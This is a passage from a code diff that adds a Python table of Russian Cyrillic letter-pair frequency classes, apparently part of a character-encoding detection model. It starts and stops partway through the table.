58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 1, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 2, # 'а' + 21: 1, # 'б' + 10: 1, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 2, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 1, # 'ъ' + 18: 3, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 0, # 'ю' + 16: 1, # 'я' + }, + 46: { # 'Г' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 2, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 1, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 41: { # 'Д' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 2, # 'Е' + 56: 1, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 2, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 3, # 'ж' + 20: 1, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 48: { # 'Е' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 1, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 2, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 2, # 'Р' + 32: 2, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 0, # 'а' + 21: 0, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 2, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 0, # 'и' + 23: 2, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 1, # 'н' + 1: 0, # 'о' + 15: 1, # 'п' + 9: 1, # 'р' + 7: 3, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 2, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 56: { # 'Ж' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 1, # 'б' + 10: 0, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 2, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 1, # 'м' + 5: 0, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 2, # 'ю' + 16: 0, # 'я' + }, + 51: { # 'З' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 0, # 'г' + 13: 2, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 1, # 'л' + 12: 1, # 'м' + 5: 2, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 1, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 1, # 'я' + }, + 42: { # 'И' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 2, # 'Е' + 56: 1, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 2, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 1, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 1, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 2, # 'з' + 4: 1, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 1, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 1, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 60: { # 'Й' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 1, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 36: { # 'К' + 37: 2, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 2, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 1, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 0, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 49: { # 'Л' + 37: 2, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 1, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 1, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 0, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 0, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 1, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 1, # 'л' + 12: 0, # 'м' + 5: 1, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 2, # 'ю' + 16: 1, # 'я' + }, + 38: { # 'М' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 1, # 'Ф' + 55: 1, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 0, # 'Ь' + 47: 1, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 1, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 1, # 'л' + 12: 1, # 'м' + 5: 2, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 1, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 31: { # 'Н' + 37: 2, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 1, # 'З' + 42: 2, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 1, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 1, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 3, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 34: { # 'О' + 37: 0, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 2, # 'Д' + 48: 1, # 'Е' + 56: 1, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 2, # 'Л' + 38: 1, # 'М' + 31: 2, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 2, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 1, # 'Ф' + 55: 1, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 1, # 'а' + 21: 2, # 'б' + 10: 1, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 0, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 0, # 'и' + 23: 1, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 0, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 1, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 2, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 35: { # 'П' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 2, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 0, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 3, # 'р' + 7: 1, # 'с' + 6: 1, # 'т' + 14: 2, # 'у' + 39: 1, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 0, # 'ю' + 16: 2, # 'я' + }, + 45: { # 'Р' + 37: 2, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 2, # 'Е' + 56: 1, # 'Ж' + 51: 0, # 'З' + 42: 2, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 2, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 1, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 2, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 2, # 'я' + }, + 32: { # 'С' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 2, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 1, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 2, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 2, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 1, # 'с' + 6: 3, # 'т' + 14: 2, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 1, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 1, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 40: { # 'Т' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 2, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 1, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 1, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 1, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 52: { # 'У' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 1, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 0, # 'Я' + 3: 1, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 1, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 2, # 'и' + 23: 1, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 1, # 'н' + 1: 2, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 0, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 53: { # 'Ф' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 1, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 